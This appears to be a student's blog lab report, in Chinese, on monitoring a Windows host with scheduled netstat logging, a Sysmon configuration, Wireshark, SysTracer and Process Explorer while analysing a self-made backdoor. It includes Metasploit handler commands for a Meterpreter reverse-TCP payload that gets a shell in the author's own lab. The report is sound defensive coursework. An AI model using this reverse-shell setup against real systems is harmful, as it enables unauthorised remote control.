Exp4 恶意代码分析

Exp4 恶意代码分析

一、实践目标

1.系统运行监控
使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。
安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。
2.恶意软件分析
分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件读取、添加、删除了哪些注册表项,读取、添加、删除了哪些文件,连接了哪些外部IP,传输了什么数据

二、实践内容

Ⅰ.系统运行监控—任务计划

先来学习一下schtasks的命令,贴上参考链接schtasks的命令

1.写好脚本(实际上就是命令行语句)netcontrol1227.bat,再新建一个txt文档netstatlog.txt用于接收数据

date /t >> C:\Users\Administrator\Desktop\netstatlog.txt
time /t >> C:\Users\Administrator\Desktop\netstatlog.txt
netstat -bn >> C:\Users\Administrator\Desktop\netstatlog.txt

图2.1.1

2.用命令行创建一个计划任务

win+R
cmd
  schtasks /create /TN netcontrol1227 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > C:\Users\Administrator\Desktop\netstatlog.txt"

图2.1.2

TN是创建的计划任务名是netcontrol1227,sc表示计时方式,TR表示执行的指令,>表示输出重定向

3.打开任务计划程序

“WIN+R”调出“运行”窗口,输入“taskschd.msc”按回车

图2.1.3
图2.1.4

4.在常规中选择使用最高权限运行,在条件中关闭电源限制

电源限制可以选择性使用,此处只是为了收集更多的信息,所以关闭了电源限制

图2.1.5

图2.1.6

5.在操作栏清空参数,选择批处理文件

图2.1.7
图2.1.8

6.等待一段时间后就可以得到想要的数据了

这个等待时间看个人心情

图2.1.9

7.收集了较多数据后,停止任务,将所得数据在excel中进行分析

  • ①新建excel,数据→自文本→选择数据源→netcontrol1227.txt,勾选分隔符号
    图2.1.10
    图2.1.11

  • ②勾选所有分隔符号
    图2.1.12
    图2.1.13

  • ③列数据格式勾选常规→完成
    图2.1.14

  • ④选择要分析的列——>选择插入——>选择数据透视图——>直接默认值确认
    图2.1.15
    图2.1.16

  • ⑤右侧选择分析的日期,拖入下方的轴和值
    图2.1.17

同样的方法,可以得到连接的外部ip地址的统计图
图2.1.18

分析结果

出现最多的是TCP,established,established意思是TCP连接成功,再下来就是[QQBrowser.exe],是浏览器发起了678次TCP连接,下面列举出来连接最多的一些外部网站,端口基本上都是通过443端口(https)
图2.1.19
图2.1.20

Ⅱ.系统运行监控—sysmon

sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具,用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。

1.安装sysmon

sysmon安装包
sysmon配置文件

  • 确定监控目标
  • 进程创建ProcessCreate
过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, CommandLine, CurrentDirectory, User, LogonGuid, LogonId, TerminalSessionId, IntegrityLevel, Hashes, ParentProcessGuid, ParentProcessId, ParentImage, ParentCommandLine
  • 进程创建时间FileCreatTime
过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime
  • 网络连接NetworkConnect
过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourceIsIpv6, SourceIp, SourceHostname, SourcePort, SourcePortName, DestinationIsIpv6, DestinationIp, DestinationHostname, DestinationPort, DestinationPortName
  • 远程线程创建CreateRemoteThread
过滤事件选项:
UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction
编写配置文件

创建一个txt文件,写好配置文件后将文件后缀改为.xml

<Sysmon schemaversion="4.81">
  <!-- Capture all hashes -->
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Log all drivers except if the signature -->
    <!-- contains Microsoft or Windows -->
    <ProcessCreate onmatch="exclude">     
      <Image condition="end with">chrome.exe</Image> 
      <Image condition="end with">QQBrowser.exe</Image> 
    </ProcessCreate>

    <FileCreateTime onmatch="exclude" >
      <Image condition="end with">chrome.exe</Image>
    </FileCreateTime>
    
    <NetworkConnect onmatch="exclude">
      <Image condition="end with">chrome.exe</Image>
      <SourcePort condition="is">137</SourcePort>
      <SourceIp condition="is">127.0.0.1</SourceIp>
    </NetworkConnect>
    <NetworkConnect onmatch="include">     
      <DestinationPort condition="is">80</DestinationPort>      
      <DestinationPort condition="is">443</DestinationPort>    
    </NetworkConnect>

    <CreateRemoteThread onmatch="include">
      <TargetImage condition="end with">explorer.exe</TargetImage>
      <TargetImage condition="end with">svchost.exe</TargetImage>
      <TargetImage condition="end with">winlogon.exe</TargetImage>
      <SourceImage condition="end with">powershell.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

解释一下:

  • onmatch选项只能设置为include或者exclude,exclude相当于白名单,不用记录;include相当于黑名单
  • 第一行的sysmon版本号要跟使用的sysmon一致(当前版本是4.81)
  • Image condition根据自己使用的浏览器更改,如谷歌浏览器是“chrome.exe”,IE浏览器是“iexplore.exe”,火狐浏览器是“firefox.exe”,QQ浏览器是“QQBrowser.exe”,写在exclude中就是不记录由谷歌浏览器创建的进程
  • 进程创建时间类似,也是不创建浏览器创建进程的时间
  • 网络连接过滤掉了浏览器的网络连接、源IP为127.0.0.1(localhost)的网络连接和目的端口为137的连接服务,且查看目的端口为80(http)和443(https)的网络连接。
  • 137端口的主要作用是在局域网中提供计算机的名字或IP地址查询服务,一般安装了NetBIOS协议后,该端口会自动处于开放状态
  • 127.0.0.1表示回环地址
  • 远程线程创建记录了目标为explorer.exe、svchost.exe、winlogon.exe和powershell.exe 的远程线程
  • explorer.exe是Windows程序管理器或者文件资源管理器
  • svchost.exe是一个属于微软Windows操作系统的系统程序,是从动态链接库 (DLL) 中运行的服务的通用主机进程名称
  • winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出
  • powershell.exe是专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用

2.启动sysmon

cd进入包含sysmom.exe的文件夹
输入指令.\Sysmon.exe -i sysmon1227.xml安装Sysmon,点击Agree

-i第一次启动时用,之后更新xml配置可以-c完成

图2.2.2
图2.2.2

3.打开日志

打开事件查看器(win+R运行eventvwr.msc)——>应用程序和服务日志->Microsoft->Windows->Sysmon->`Operational

这里可以点击框内空白部分,然后用输入法输入一部分字母快速查找,也可以直接按字母表顺序一直往下翻

图2.2.3
图2.2.4

打开kali,Win运行后门文件1227door.exe,回连到kali,kali执行shell获取win10的cmd

图2.2.5

再次查看日志

根据时间观察对应的事件
可以在Sysmon的日志中看到进程创建

图2.2.6
图2.2.7

Ⅲ.恶意软件分析

1.用wireshark分析TCP包

我在Windows下使用wireshark抓不到kali的包,大家可以试一试。经尝试,VMware使用桥接模式是可以抓到虚拟机的包的,详细设置见文末。
如果大家也出现这个问题,可以直接跳到kali抓包部分。

ip.addr == 172.30.7.176                  这是更换网络前的kali机的ip地址

我使用上述过滤命令过滤网络包时,显示不出任何信息。
然后,此处我更换了网络,所以ip变了,如图,主机ip192.168.123.235,kali机ip:192.168.123.93
此时因为我的后门程序一直在运行,所以主机一直在向虚拟机发送请求包,就是图中黑色红字部分
再来,大家还可以看见黑色绿字部分有一个192.168.254.1,这是内部网关,为什么会是内部网关返回信息给主机呢
因为主机发送请求后要先抵达内部网关,再发往虚拟机的网关,但是我的后门程序设置的反弹ip没有修改,而kali的ip地址变化了,所以网关找不到下一跳的目的地址,所以就返回此条绿字包:“我找不到你要到的目的地,你下车吧。”这样包就被丢掉了~
ip变了

图2.2.8

kali中使用wireshark抓包分析

主机ip:192.168.43.141 虚拟机ip:192.168.43.183

  • 点击右上方的kali图标,搜索wireshark,进入wireshark
    搜索

  • 选择需要监听的网卡,双击即可开始监听
    选择网卡

  • ncat传送后门程序

我这里用的payload是windows/meterpreter/reverse_tcp
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 1227
set LHOST 192.168.43.183

  • 注意看前两行,先由kali端向主机端发送连接请求,被拒绝了,回了一个[rst,ack]包。
    再看3-5行,这是典型的tcp三次握手建立连接
    这里的包可以结合自己的操作看,从图1.1正好被拒绝了一次,然后再建立连接,这也真是神奇,贴心的电脑帮我把两种情况都实现了。
    1.1 传送后门程序
    1.2 wireshark抓包

  • 现在来看看下面的详细信息,因为用的tcp反弹式连接,所以基本上都是tcp包,详细信息一次类推
    第一行,帧Frame447指的是要发送的数据块,其中,所抓帧的序号为36838,捕获字节等于传送字节数:7354字节
    第二行,以太网,有线局域网技术,是数据链路层。源Mac地址为08:00:27:ca:97:51,目标Mac地址为0c:dd:24:8e:94:37
    第三行,IPV4协议,也称网络协议,是网络层;源IP地址为192.168.43.183,目的IP地址为:192.168.43.141
    第四行,TCP协议,也称传输控制协议,是传输层;源端口(55538);目标端口(12270);序列号(1);ACK是TCP数据包首部中的确认标志,对已接收到的TCP报文进行确认,值为1表示确认号有效;长度为7300字节
    第五行,数据共有7300字节
    1.3 tcp包信息分析

* 可以看出来ncat是将后门程序分段传输过去的哈,我生成的后门程序大小为73802字节,不知道少的那216字节去哪了。
计算了一下传输数据包的大小

  • 打开msfconsole,并设置打开kali监听,并在Windows中启动后门程序,抓包
    启动监听,并入侵后门
    计算了一下

闲着没事算了一下传输的数据大小,看起来并没有那么大(175174字节),可能是抓漏了吧

  • getshell,并dir后 的包
    dir

getshell并没有获得什么信息,而dir后主机发送了一个1140字节的数据包,这应该是该目录的文件信息吧,正在寻找验证方法。

2.通过Ⅰ中的任务计划分析


在shell.exe启动后,通过上文中的程序找到了192.168.123.235(本机)向192.169.123.93(Kali虚拟机)的TCP包,由此可见在程序启动后会隔一段时间就会发送TCP包。

3.使用SysTracer分析

systracer直接去官网下载就行了,安装的时候点击第一个,一直下一步就行了

  • systracer可以记录下计算机某个时刻的状态。然后过一段时间后再次记录。通过比较两次记录中计算机的不同进行相应的分析。
  • 不要点击stop!!!!!!!

使用教程
三张快照

这里的三张快照分别是before:没有执行任何操作
connect:传送了后门文件,并回连了kali
getshell:kali handle控制台getshell后进行了一系列操作(dir,date,mkdir 1227t4)

  • 对比快照before和快照connect
    在右下角选择要对比的两个快照,再点击compare
    为了更清晰地知道我们的计算机被执行了什么操作,所以选中only differences
    如何比较
    only differences

* 通过查看Running Processes、Opened Handles、Opened Ports,可以更直观地看到后门程序的执行,以及它添加了哪些句柄和连接的是哪个端口。
port
handle
这一串,就是后门程序添加的句柄
句柄
这里可以看到后门程序是通过``64902端口对192.168.43.183:1227`进行连接,这里可以看出后门采用的是反弹端口连接方式。
但是这里的分析有一个困难在于,很多信息,不论是注册表还是文件抑或是应用程序,在查看的时候经常会看到“SysTracer not registered”,推测这可能是因为未激活软件所以在试用阶段不能使用其全部功能,所以提示软件未注册。虽然详细信息无法探知,可至少知道哪里发生了变化,如果认真追究问题的话也是会很有指向性的。另外还可以像sysmon那样,对比不同时期下本机的对外网络连接情况,可以探知谁在两个快照期间做了什么事情(启用哪个端口和谁建立了连接)。

  • (一个没有激活的软件貌似最多只能创建5张快照,我就是。解决方法就是找到它的文件位置,删掉,再重装一遍)

  • 对比快照Snapshot #2和快照Snapshot #3
    cmd
    chost

由于我们在kali中执行了shell,并且执行了dir指令查看文件夹内容,相对应的这里会执行cmd.exe和conhost.exe

  • 同时,系统删除了一系列的dll,添加了相应的句柄。
    del dll
    hadle

4.使用Process Explorer分析恶意软件

下载Process Explorer v16.22并解压
打开procexp.exe

不用在Windows端执行任何操作,就可以监听到电脑上所有正在运行的程序

这里就抓到了我的后门程序,可以看出kali端get了shell还创建了一个文件夹(20191227)

当我们意识到这个是恶意程序时,我们就可以直接kill掉它

5.sandbox

Windows Sandbox虽然内置在Windows 18305中,要使用却需要用户自己手动添加,具体步骤:控制面板→程序和功能→启用或关闭Windows功能→勾选Windows Sandbox,确认后安装需要重启系统。

  • 注意要win10或win11企业版或者专业版,家庭版是没有沙盒这个功能的。想做的同学可以去mscn下载win10专业版操作系统


进入sandbox,可以看到它就跟一个新电脑一样,你可以在里面随便造,不影响宿主机

把课设做的恶意程序放进去跑了一下,被攻击了

不过沙盒不会保留任何记录,重启变得崭新

用了沙盒的同学vm ware可能会打不开,参考这篇博客,虽然不能解决共存问题,但是能来回切换。

三、实验后回答问题

1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
答:

首先要监控的是网络,可以就用schtasks设置任务,然后筛选出可疑的网络行为。但凡攻击者想进行远程操作,建立了连接,就一定会被记录到
然后检测进程,比如攻击者要抓肉鸡DDOS或者挖矿,肯定会导致占用的CPU不正常(虽然我感觉应该很少抓PC)
还有要检测文件的创建和删除。如果攻击者是通过小马传大马的方式进行进一步的攻击,检测文件的创建和删除可以防止进一步的攻击,这个可以用schtasks,也可以用systracer。
最后是监控对驱动和硬件的调用,将损失尽量减少。
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
答:Process Monitor可以看的很清楚这个进程的实施者、端口等等,如果能定位到具体的exe,可以进一步丢到vt上,或者用ida反编译之类的深入研究

四、一些问题

1、系统运行监控中出现操作

关于实验四的第一个小题中:记录的txt文件提示“请求的操作需要提升”或者出现无法写入,如果是最高权限运行,可以试一试改一下bat中的地址(改为其他盘片的地址)。还有,用户名是中文的建议新创建一个文件夹(例如EX4),路径最好不要出现中文。

2、VMware网卡设置

  • 这里需要改成你的网卡,我改的WiFi网卡,就抓WiFi的包
  • 如何查看WiFi网卡


    一直往下翻

五、实验感悟

防御确实不如攻击有意思,但是在现实生活中给我们合法攻击的机会不多,所以我们现在才是走上了正轨。
“攻击者只需找到防守者的一个漏洞就成功了,而防守者需要做到面面俱到”
现在对这句话的体会更加深刻了,但就知识面来说,进行攻击时,我只需要知道计算机方面的知识,病毒的生产和制作都由msf和veil等软件完成(当然这也是我浅尝攻击之后的想法,真实的攻击肯定很复杂)。对于防守者,就这个实验来说:我不仅需要计算机方面的知识,还需要网络方面的知识。并且要了解得更深一些,不然都解析不出报文和检测软件抓到的异常数据。

posted @ 2022-04-06 23:40  氧气2019  阅读(759)  评论(0编辑  收藏  举报